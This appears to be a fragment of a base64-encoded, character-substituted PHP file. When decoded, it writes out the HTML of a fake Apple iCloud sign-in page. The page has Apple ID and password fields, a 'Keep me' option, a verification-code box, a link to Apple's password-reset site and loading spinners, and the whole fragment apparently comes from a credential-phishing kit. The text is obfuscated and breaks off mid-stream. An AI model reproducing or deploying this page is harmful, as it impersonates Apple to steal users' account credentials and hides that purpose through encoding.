CJhXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPGQ0diBjbDFzcz1cImY0NWxkLXdyMXAgZjJyYzUtbHRyXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCBtMXhsNW5ndGg9XCI2XCIgMTN0MmMycnI1Y3Q9XCIyZmZcIiAxM3QyYzJtcGw1dDU9XCIyZmZcIiAxM3QyYzFwNHQxbDR6NT1cIjJmZlwiIHNwNWxsY2g1Y2s9XCJmMWxzNVwiIHR5cDU9XCJ0NWxcIiA0ZD1cImNoMXJvXCIgY2wxc3M9XCJmMnJtLWMybnRyMmwgZjJyYzUtbHRyIGYycm0tdDV4dGIyeCBjaDFyLWY0NWxkXCIgMXI0MS1sMWI1bD1cIkQ0ZzR0IHVcIiBwbDFjNWgybGQ1cj1cIlwiIDFyNDEtZDVzY3I0YjVkYnk9XCI0ZG1zLTRucDN0LTVycjJyLTZpNzA2YTA2b2l1YWUtNlwiIGQxdDEtNG5kNXg9XCJvXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPGQ0diBjbDFzcz1cImY0NWxkLXdyMXAgZjJyYzUtbHRyXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCBtMXhsNW5ndGg9XCI2XCIgMTN0MmMycnI1Y3Q9XCIyZmZcIiAxM3QyYzJtcGw1dDU9XCIyZmZcIiAxM3QyYzFwNHQxbDR6NT1cIjJmZlwiIHNwNWxsY2g1Y2s9XCJmMWxzNVwiIHR5cDU9XCJ0NWxcIiA0ZD1cImNoMXJ1XCIgY2wxc3M9XCJmMnJtLWMybnRyMmwgZjJyYzUtbHRyIGYycm0tdDV4dGIyeCBjaDFyLWY0NWxkXCIgMXI0MS1sMWI1bD1cIkQ0ZzR0IGlcIiBwbDFjNWgybGQ1cj1cIlwiIDFyNDEtZDVzY3I0YjVkYnk9XCI0ZG1zLTRucDN0LTVycjJyLTZpNzA2YTA2b2l1YWUtNlwiIGQxdDEtNG5kNXg9XCJ1XCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPGQ0diBjbDFzcz1cImY0NWxkLXdyMXAgZjJyYzUtbHRyXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCBtMXhsNW5ndGg9XCI2XCIgMTN0MmMycnI1Y3Q9XCIyZmZcIiAxM3QyYzJtcGw1dDU9XCIyZmZcIiAxM3QyYzFwNHQxbDR6NT1cIjJmZlwiIHNwNWxsY2g1Y2s9XCJmMWxzNVwiIHR5cDU9XCJ0NWxcIiA0ZD1cImNoMXJpXCIgY2wxc3M9XCJmMnJtLWMybnRyMmwgZjJyYzUtbHRyIGYycm0tdDV4dGIyeCBjaDFyLWY0NWxkXCIgMXI0MS1sMWI1bD1cIkQ0ZzR0IGVcIiBwbDFjNWgybGQ1cj1cIlwiIDFyNDEtZDVzY3I0YjVkYnk9XCI0ZG1zLTRucDN0LTVycjJyLTZpNzA2YTA2b2l1YWUtNlwiIGQxdDEtNG5kNXg9XCJpXCI+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICA8L2Q0dj5cbiI7DQo1Y2gyICIgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgIFxuIjsNCjVjaDIgIiAgICAgICAgICA8L2Q0dj5cbiI7DQo1Y2gyICIgICAgICAgIDwvNGRtcy01cnIyci13cjFwcDVyPlxuIjsNCjVjaDIgIiAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICA8L3M1YzNyNHR5LWMyZDU+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgIDwvZDR2PlxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPVwiczQtNG5mMlwiPlxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICAgICAgPHA+XG4iOw0KNWNoMiAkbDFuZ1siUFJPVEVDVEVEIl07DQo1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICA8L3A+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgIDwvZDR2PlxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPVwiczQtNG5mMlwiPlxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICAgICAgPHA+XG4iOw0KNWNoMiAkbDFuZ1siQ09ERVNIT1dOIl07DQo1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICA8L3A+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgIDwvZDR2PlxuIjsNCg0KDQo1Y2gyICIgPDEgY2wxc3M9XCJzNC1sNG5rIDF4LTIzdGw0bjUgdGstczNiYjJkeSBsNHQ1LXRoNW01LTJ2NXJyNGQ1XCIgMm5jbDRjaz1cIjJwNW5GMnJtKClcIiA0ZD1cIm4yLXRyc3RkLWQ1djRjNS1wMnBcIiAxcjQxLWgxc3AycDNwPVwidHIzNVwiPg0KXG4iOw0KNWNoMiAkbDFuZ1siU0lHTl9JTl9USVRMRSJdDQo7DQo1Y2gyICI8LzE+XG4NCiI7DQoNCjVjaDIgIiA8ZDR2IGNsMXNzPVwic3A0bm41ci1jMm50MTRuNXIgdjVyNGZ5NG5nLWMyZDVcIiA0ZD1cInY1cjRmeTRuZy1jMmQ1XCI+PC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgPC9kNHY+XG4iOw0KNWNoMiAiICAgICAgICAgICAgXG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgIFxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICBcbiI7DQo1Y2gyICIgICAgICAgIDwvZDR2PlxuIjsNCjVjaDIgIiAgICAgICAgPDVycjJyLW0yZDFsIHsoc2gydy01cnIyci1tMmQxbCl9PVwic2gyd0VycjJyTTJkMWxcIiB7NXJyMnItbTJkMWwtdDR0bDV9PVwiNXJyMnJNMmQxbFQ0dGw1XCIgezVycjJyLW0yZDFsLW01c3MxZzV9PVwiNXJyMnJNMmQxbE01c3MxZzVcIiB7Mm4tZDJuNX09XCJAZzJCMWNrVDJTNGduSW5cIj48NGRtcy1tMmQxbCB7KHNoMncpfT1cInNoMndFcnIyck0yZDFsXCIgMTN0Mi1jbDJzNT1cImYxbHM1XCIgd3IxcC1jbDFzcz1cIjVycjJyLW0yZDFsLXdyMXBwNXIgXCI+IFxuIjsNCjVjaDIgIiAgICAgICAgPC80ZG1zLW0yZDFsPjwvNXJyMnItbTJkMWw+XG4iOw0KNWNoMiAiICAgICAgICAgICAgICAgIFxuIjsNCjVjaDIgIiAgICAgICAgICA8L3Y1cjRmeS1kNXY0YzU+XG4iOw0KNWNoMiAiICAgICAgICAgICAgXG4iOw0KNWNoMiAiICAgICAgICAgICAgXG4iOw0KNWNoMiAiICAgICAgICA8L2Q0dj5cbiI7DQo1Y2gyICIgICAgICAgIFxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgICBcbiI7DQo1Y2gyICIgICAgICAgICAgPC9oczFhPjwvZDR2PlxuIjsNCjVjaDIgIiAgICAgICAgICAgIDwvZDR2PlxuIjsNCjVjaDIgIglcbiI7DQo1Y2gyICIJCTxkNHYgNGQ9XCJzdDVwYVwiIGNsMXNzPVwiczQtc3Q1cCBoNGQ1XCI+XG4iOw0KNWNoMiAiCQkJCTxsMmcyIHtoNGQ1LTFwcC1sMmcyfT1cImg0ZDVBcHBMMmcyXCIge3NoMnctZjFkNS00bn09XCJzaDJ3RjFkNUluXCI+ICAgIDxkNHYgY2wxc3M9XCJsMmcyICAgczRnbjRuLWwxYjVsICBmMWQ1LTRuIFwiPlxuIjsNCjVjaDIgIgkJCQk8NG1nIGNsMXNzPVwiY25zbXItMXBwLTRtMWc1IFwiIHNyYz1cImNzc28vcjZ1MC5wbmdcIiBzcmNzNXQ9XCJcIiAxbHQ9XCJBcHBsNGMxdDQybiBsMmcyXCIgc3R5bDU9XCJ3NGR0aDogNjAwcHg7XCI+XG4iOw0KNWNoMiAiCQk8L2Q0dj5cbiI7DQo1Y2gyICIJICA8L2wyZzI+XG4iOw0KNWNoMiAiCQkJPGQ0diA0ZD1cInN0NXBFbFwiIGNsMXNzPVwiICAgXCI+PHM0Z24tNG4gczNwcHI1c3MtNGYycmcydD1cIntzM3BwcjVzc0lmMnJnMnR9XCIgezJuLXQ1c3QtNGRwfT1cIkBfMm5UNXN0SWRwXCI+XG4iOw0KNWNoMiAiCQkJICA8ZDR2IGNsMXNzPVwiczRnbjRuIGYxZDUtNG5cIiA0ZD1cInM0Z240blwiPlxuIjsNCjVjaDIgIgkJCQkgIDxoNiB0MWI0bmQ1eD1cIi02XCIgY2wxc3M9XCJzNC1jMm50MTRuNXItdDR0bDUgdGstNG50cjIgXCI+XG4iOw0KNWNoMiAkbDFuZ1siU0lHTl9JTl9USVRMRSJdOw0KNWNoMiAiCQkJCSAgICAgIDwvaDY+ICAgICAgICAgICAgXG4iOw0KNWNoMiAiCQkJCTxkNHYgY2wxc3M9XCJjMm50MTRuNXIgczQtZjQ1bGQtYzJudDE0bjVyICBwMXNzdzJyZC1zNWMybmQtc3Q1cFwiPlxuIjsNCjVjaDIgIgkJCSAgPGQ0diA0ZD1cInM0Z25fNG5fZjJybVwiIGNsMXNzPVwiczRnbjRuLWYycm0gZjVkLTEzdGggaDRkNS1wMXNzdzJyZFwiPlxuIjsNCjVjaDIgIgkgIDxkNHYgY2wxc3M9XCJzNC1mNDVsZC1jMm50MTRuNXIgYzJudDE0bjVyXCI+XG4iOw0KNWNoMiAiCQk8ZDR2IGNsMXNzPVwiZjJybS10MWJsNVwiPlxuIjsNCjVjaDIgIgkJICA8ZDR2IDRkPVwidjJfYjJyZDVyXCIgY2wxc3M9XCIxeC12Mi1iMnJkNXIgICAgICBcIj48L2Q0dj5cbiI7DQo1Y2gyICIJCSAgPGQ0diBjbDFzcz1cIjFjYzIzbnQtbjFtNSBmMnJtLXIydyAgICBcIj5cbiI7DQo1Y2gyICIJCQk8bDFiNWwgY2wxc3M9XCJzci0ybmx5IGYycm0tYzVsbCBmMnJtLWwxYjVsXCIgZjJyPVwiMWNjMjNudF9uMW01X3Q1eHRfZjQ1bGRcIj5cbiI7DQo1Y2gyICJTNGduIDRuIHQyIDRDbDIzZCBBcHBsNSBJRFxuIjsNCjVjaDIgIgkJCSAgICA8L2wxYjVsPlxuIjsNCjVjaDIgIgkJCTxkNHYgY2wxc3M9XCJmMnJtLWM1bGxcIj5cbiI7DQo1Y2gyICIJCQkgIDxkNHYgY2wxc3M9XCJmMnJtLWM1bGwtd3IxcHA1clwiPlxuIjsNCjVjaDIgIgkJCQk8NG5wM3QgdHlwNT1cInQ1eHRcIiBjbDFzcz1cImYycm0tdDV4dGIyeCBmMnJtLXQ1eHRiMngtdDV4dFwiIDRkPVwiMWNjMjNudF9uMW01X3Q1eHRfZjQ1bGRcIiBjMW4tZjQ1bGQ9XCIxY2MyM250TjFtNVwiIDEzdDJjMm1wbDV0NT1cIjJmZlwiIDEzdDJjMnJyNWN0PVwiMmZmXCIgMTN0MmMxcDR0MWw0ejU9XCIyZmZcIiAxcjQxLXI1cTM0cjVkPVwidHIzNVwiIHI1cTM0cjVkPVwicjVxMzRyNWRcIiAxcjQxLWQ1c2NyNGI1ZGJ5PVwiMXBwbDVfNGRfZjQ1bGRfbDFiNWxcIiBzcDVsbGNoNWNrPVwiZjFsczVcIiAoJGYyYzNzKT1cIjFwcGw1SWRGMmMzc0gxbmRsNXIoKVwiICgkazV5M3ApPVwiMXBwbDVJZEs1eTNwSDFuZGw1cigpXCIgKCRibDNyKT1cIjFwcGw1SWRCbDNySDFuZGw1cigpXCIgcGwxYzVoMmxkNXI9XCJcbiI7DQo1Y2gyICRsMW5nWyJBUFBMRV9JRCJdOw0KNWNoMiAiIFwiIDEzdDJmMmMzcz1cIlwiIDJucDFzdDU9XCJteVAxc3Q1SUQoKVwiIHYxbDM1PSRJRD5cbiI7DQo1Y2gyICIJCQkJPHNwMW4gNGQ9XCIxcHBsNV80ZF9mNDVsZF9sMWI1bFwiIDFyNDEtaDRkZDVuPVwidHIzNVwiIGNsMXNzPVwiIGYycm0tbDFiNWwtZmx5MjN0XCI+XG4iOw0KNWNoMiAgJGwxbmdbIkFQUExFX0lEIl07DQo1Y2gyICIJCQkJICAgIDwvc3Axbj5cbiI7DQo1Y2gyICIJCQkgIDwvZDR2PlxuIjsNCjVjaDIgIgkJCTwvZDR2PlxuIjsNCjVjaDIgIgkJICA8L2Q0dj5cbiI7DQo1Y2gyICIJCSAgPGQ0diA0ZD1cInM1cDFyMXQyclwiIGNsMXNzPVwiZjQ1bGQtczVwMXIxdDJyICAgXCI+PC9kNHY+XG4iOw0KNWNoMiAiCQkgIDxkNHYgNGQ9XCJkNHZfcDFzc3cycmRcIiBjbDFzcz1cInAxc3N3MnJkIGYycm0tcjJ3ICAgICBcIiAxcjQxLWg0ZGQ1bj1cInRyMzVcIj5cbiI7DQo1Y2gyICIJCQk8bDFiNWwgY2wxc3M9XCJzci0ybmx5IGYycm0tYzVsbCBmMnJtLWwxYjVsXCIgZjJyPVwicDFzc3cycmRfdDV4dF9mNDVsZFwiPlxuIjsNCjVjaDIgJGwxbmdbIlBBU1NXT1JEIl07DQo1Y2gyICI8L2wxYjVsPlxuIjsNCjVjaDIgIgkJCTxkNHYgY2wxc3M9XCJmMnJtLWM1bGxcIj5cbiI7DQo1Y2gyICIJCQkgIDxkNHYgY2wxc3M9XCJmMnJtLWM1bGwtd3IxcHA1clwiPlxuIjsNCjVjaDIgIgkJCQk8NG5wM3QgdHlwNT1cInAxc3N3MnJkXCIgY2wxc3M9XCJmMnJtLXQ1eHRiMnggZjJybS10NXh0YjJ4LXQ1eHRcIiA0ZD1cInAxc3N3MnJkX3Q1eHRfZjQ1bGRcIiAoJGs1eTNwKT1cInAxc3N3MnJkSzV5VXBIMW5kbDVyKClcIiAoJGYyYzNzKT1cInB3ZEYyYzNzSDFuZGw1cigpXCIgKCRibDNyKT1cInB3ZEJsM3JIMW5kbDVyKClcIiAxcjQxLXI1cTM0cjVkPVwidHIzNVwiIHI1cTM0cjVkPVwicjVxMzRyNWRcIiBjMW4tZjQ1bGQ9XCJwMXNzdzJyZFwiIDEzdDJjMm1wbDV0NT1cIjJmZlwiIHBsMWM1aDJsZDVyPVwiXG4iOw0KNWNoMiAkbDFuZ1siUEFTU1dPUkQiXTsNCjVjaDIgIiBcIiB0MWI0bmQ1eD1cIi02XCIgMm5wMXN0NT1cIm15UDFzdDVQVygpXCI+XG4iOw0KNWNoMiAiCQkJCTxzcDFuIDRkPVwicDFzc3cycmRfZjQ1bGRfbDFiNWxcIiAxcjQxLWg0ZGQ1bj1cInRyMzVcIiBjbDFzcz1cIiBmMnJtLWwxYjVsLWZseTIzdFwiPiBcbiI7DQo1Y2gyICRsMW5nWyJQQVNTV09SRCJdOw0KNWNoMiAiCQkJCTwvc3Axbj5cbiI7DQo1Y2gyICIJCQkJPHNwMW4gY2wxc3M9XCJzci0ybmx5IGYycm0tbDFiNWwtZmx5MjN0XCIgNGQ9XCI0bnYxbDRkXzNzNXJfbjFtNV9wd2RfNXJyX21zZ1wiIDFyNDEtaDRkZDVuPVwidHIzNVwiPlxuIjsNCjVjaDIgIgkJCQkgIFxuIjsNCjVjaDIgIgkJCQk8L3NwMW4+XG4iOw0KNWNoMiAiCQkJICA8L2Q0dj5cbiI7DQo1Y2gyICIJCQk8L2Q0dj5cbiI7DQo1Y2gyICIJCSAgPC9kNHY+XG4iOw0KNWNoMiAiCQk8L2Q0dj5cbiI7DQo1Y2gyICIJICA8L2Q0dj5cbiI7DQo1Y2gyICIJICA8ZDR2IDRkPVwiNXJyMnJfZDR2XCIgY2wxc3M9XCJwMnAtYzJudDE0bjVyIDVycjJyIHM0Z240bi01cnIyciBoNGQ1XCI+XG4iOw0KNWNoMiAiCQkgIDxkNHYgY2wxc3M9XCI1cnIyciBwMnAtYjJ0dDJtIHRrLXMzYmIyZHktaDUxZGw0bjVcIj5cbiI7DQo1Y2gyICIJCSAgPHAgY2wxc3M9XCJmMXRcIiA0ZD1cIjVyck1zZ1wiPlxuIjsNCjVjaDIgJGwxbmdbIklEUFdEX0VSUk9SX0FMRVJUYSJdOw0KNWNoMiAiCVxuIjsNCjVjaDIgIgkJCTwxIGNsMXNzPVwiczQtbDRuayAxeC0yM3RsNG41IHRoNG4gdGstczNiYjJkeVwiIGhyNWY9XCJodHRwczovLzRmMnJnMnQuMXBwbDUuYzJtL3Axc3N3MnJkL3Y1cjRmeS8xcHBsNTRkXCIgdDFyZzV0PVwiX2JsMW5rXCI+XG4iOw0KNWNoMiAkbDFuZ1siTU9CX0ZPUkdPVF9JRCJdOw0KNWNoMiAiPC8xPlxuIjsNCjVjaDIgIglcbiI7DQo1Y2gyICIJXG4iOw0KNWNoMiAiCQkgIDwvZDR2PlxuIjsNCjVjaDIgIgkJPC9kNHY+XG4iOw0KNWNoMiAiCTwvZDR2PlxuIjsNCjVjaDIgIgkJCVxuIjsNCjVjaDIgIgkJCQkJXG4iOw0KNWNoMiAiCVxuIjsNCjVjaDIgIgkJCQkgIFxuIjsNCjVjaDIgIgk8ZDR2IGNsMXNzPVwiczQtcjVtNW1iNXItcDFzc3cycmRcIj5cbiI7DQo1Y2gyICIgICAgPDQgNGQ9XCJyNW01bWI1ci1tNVwiIGNsMXNzPVwiMXgtMjN0bDRuNSA0YzJuIDRjMm5fM25jaDVja19hXCIgc3R5bDU9XCJ0MnA6IDlweDsgYzNyczJyOnAyNG50NXI7IHc0ZHRoOmFhcHg7XCI+PC80PlxuIjsNCjVjaDIgIiAgICAgICAgICAgICAgXG4iOw0KNWNoMiAiICAgICAgICAgICAgICA8bDFiNWwgNGQ9XCJyNW01bWI1ci1tNS1sMWI1bFwiIGNsMXNzPVwiZjJybS1sMWI1bFwiIHN0eWw1PVwicDFkZDRuZy1sNWZ0OiBlcHhcIj5cbiI7DQo1Y2gyICRsMW5nWyJLRUVQX01FIl07DQo1Y2gyICIgICAgICAgICAgICAgICAgICA8L2wxYjVsPlxuIjsNCjVjaDIgIiAgICAgICAgICAgIDwvZDR2PlxuIjsNCjVjaDIgIgkJCQkJPGQ0diA0ZD1cInNwNG5uNXJfNlwiIGNsMXNzPVwic3A0bm41ci1jMm50MTRuNXIgaDRkNVwiIHN0eWw1PVwicDJzNHQ0Mm46IDFiczJsM3Q1OyB3NGR0aDogZTBhcHg7IHQycDogNjBweDtcIj5cbiI7DQo1Y2gyICIJCQkJCQk8ZDR2IGNsMXNzPVwiY2wyM2Qycy1sMjFkNG5nLXNjcjU1bmFcIj5cbiI7DQo1Y2gyICIJCQkJCSAgIDxkNHYgY2wxc3M9XCJjMm50NW50XCI+XG4iOw0KNWNoMiAiCQkJCQkJIDxzdmcgY2wxc3M9XCJzcDRubjVyYVwiIDRkPVwiY2wyM2Qycy1sMjFkNG5nLXNwNG5uNXJcIiB4bWxucz1cImh0dHA6Ly93d3cud28uMnJnL2EwMDAvc3ZnXCIgdjQ1d0IyeD1cIi02IC02IGEgYVwiPlxuIjsNCjVjaDIgIgkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoYWlpLGFpaSxhaWkpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KDApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoYWE5LGFhOSxhYTkpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KG8wKVwiPjwvcjVjdD5cbiI7DQo1Y2gyICIJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKDY5byw2OW8sNjlvKVwiIHRyMW5zZjJybT1cInIydDF0NShlMClcIj48L3I1Y3Q+XG4iOw0KNWNoMiAiCQkJCQkJICAgPHI1Y3QgeD1cIjAudWllYWlcIiB5PVwiLTAuMDkwOTlcIiB3NGR0aD1cIjAuaXVvN2lcIiBoNTRnaHQ9XCIwLjY4Njk4XCIgcng9XCIwLjA5MDk5XCIgcnk9XCIwLjA5MDk5XCIgZjRsbD1cInJnYig2ZWksNmVpLDZlaSlcIiB0cjFuc2Yycm09XCJyMnQxdDUoOTApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoNm84LDZvOCw2bzgpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KDZhMClcIj48L3I1Y3Q+XG4iOw0KNWNoMiAiCQkJCQkJICAgPHI1Y3QgeD1cIjAudWllYWlcIiB5PVwiLTAuMDkwOTlcIiB3NGR0aD1cIjAuaXVvN2lcIiBoNTRnaHQ9XCIwLjY4Njk4XCIgcng9XCIwLjA5MDk5XCIgcnk9XCIwLjA5MDk5XCIgZjRsbD1cInJnYig2MDksNjA5LDYwOSlcIiB0cjFuc2Yycm09XCJyMnQxdDUoNmkwKVwiPjwvcjVjdD5cbiI7DQo1Y2gyICIJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKDllLDllLDllKVwiIHRyMW5zZjJybT1cInIydDF0NSg2ODApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoOGEsOGEsOGEpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KGE2MClcIj48L3I1Y3Q+XG4iOw0KNWNoMiAiCQkJCQkJICAgPHI1Y3QgeD1cIjAudWllYWlcIiB5PVwiLTAuMDkwOTlcIiB3NGR0aD1cIjAuaXVvN2lcIiBoNTRnaHQ9XCIwLjY4Njk4XCIgcng9XCIwLjA5MDk5XCIgcnk9XCIwLjA5MDk5XCIgZjRsbD1cInJnYihlaSxlaSxlaSlcIiB0cjFuc2Yycm09XCJyMnQxdDUoYXUwKVwiPjwvcjVjdD5cbiI7DQo1Y2gyICIJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKGllLGllLGllKVwiIHRyMW5zZjJybT1cInIydDF0NShhNzApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoaTYsaTYsaTYpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KG8wMClcIj48L3I1Y3Q+XG4iOw0KNWNoMiAiCQkJCQkJICAgPHI1Y3QgeD1cIjAudWllYWlcIiB5PVwiLTAuMDkwOTlcIiB3NGR0aD1cIjAuaXVvN2lcIiBoNTRnaHQ9XCIwLjY4Njk4XCIgcng9XCIwLjA5MDk5XCIgcnk9XCIwLjA5MDk5XCIgZjRsbD1cInJnYih1byx1byx1bylcIiB0cjFuc2Yycm09XCJyMnQxdDUob28wKVwiPjwvcjVjdD5cbiI7DQo1Y2gyICIJCQkJCQkgPC9zdmc+XG4iOw0KNWNoMiAiCQkJCQkgICA8L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCSA8L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCSAgIDwvZDR2PlxuIjsNCjVjaDIgIgkJCQkJICAgPGQ0diA0ZD1cInNwNG5uNXJfYVwiIGNsMXNzPVwic3A0bm41ci1jMm50MTRuNXIgaDRkNVwiIHN0eWw1PVwicDJzNHQ0Mm46IDFiczJsM3Q1OyB3NGR0aDogZTBhcHg7IHQycDogaW9weDtcIj5cbiI7DQo1Y2gyICIJCQkJCQkgIDxkNHYgY2wxc3M9XCJjbDIzZDJzLWwyMWQ0bmctc2NyNTVuYVwiPlxuIjsNCjVjaDIgIgkJCQkgICBcbiI7DQo1Y2gyICIJCQkJCQkgICA8ZDR2IGNsMXNzPVwiYzJudDVudFwiPlxuIjsNCjVjaDIgIgkJCQkJCQkgPHN2ZyBjbDFzcz1cInNwNG5uNXJhXCIgNGQ9XCJjbDIzZDJzLWwyMWQ0bmctc3A0bm41clwiIHhtbG5zPVwiaHR0cDovL3d3dy53by4ycmcvYTAwMC9zdmdcIiB2NDV3QjJ4PVwiLTYgLTYgYSBhXCI+XG4iOw0KNWNoMiAiCQkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoYWlpLGFpaSxhaWkpXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KDApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKGFhOSxhYTksYWE5KVwiIHRyMW5zZjJybT1cInIydDF0NShvMClcIj48L3I1Y3Q+XG4iOw0KNWNoMiAiCQkJCQkJCSAgIDxyNWN0IHg9XCIwLnVpZWFpXCIgeT1cIi0wLjA5MDk5XCIgdzRkdGg9XCIwLml1bzdpXCIgaDU0Z2h0PVwiMC42ODY5OFwiIHJ4PVwiMC4wOTA5OVwiIHJ5PVwiMC4wOTA5OVwiIGY0bGw9XCJyZ2IoNjlvLDY5byw2OW8pXCIgdHIxbnNmMnJtPVwicjJ0MXQ1KGUwKVwiPjwvcjVjdD5cbiI7DQo1Y2gyICIJCQkJCQkJICAgPHI1Y3QgeD1cIjAudWllYWlcIiB5PVwiLTAuMDkwOTlcIiB3NGR0aD1cIjAuaXVvN2lcIiBoNTRnaHQ9XCIwLjY4Njk4XCIgcng9XCIwLjA5MDk5XCIgcnk9XCIwLjA5MDk5XCIgZjRsbD1cInJnYig2ZWksNmVpLDZlaSlcIiB0cjFuc2Yycm09XCJyMnQxdDUoOTApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKDZvOCw2bzgsNm84KVwiIHRyMW5zZjJybT1cInIydDF0NSg2YTApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKDYwOSw2MDksNjA5KVwiIHRyMW5zZjJybT1cInIydDF0NSg2aTApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0ZHRoPVwiMC5pdW83aVwiIGg1NGdodD1cIjAuNjg2OThcIiByeD1cIjAuMDkwOTlcIiByeT1cIjAuMDkwOTlcIiBmNGxsPVwicmdiKDllLDllLDllKVwiIHRyMW5zZjJybT1cInIydDF0NSg2ODApXCI+PC9yNWN0PlxuIjsNCjVjaDIgIgkJCQkJCQkgICA8cjVjdCB4PVwiMC51aWVhaVwiIHk9XCItMC4wOTA5OVwiIHc0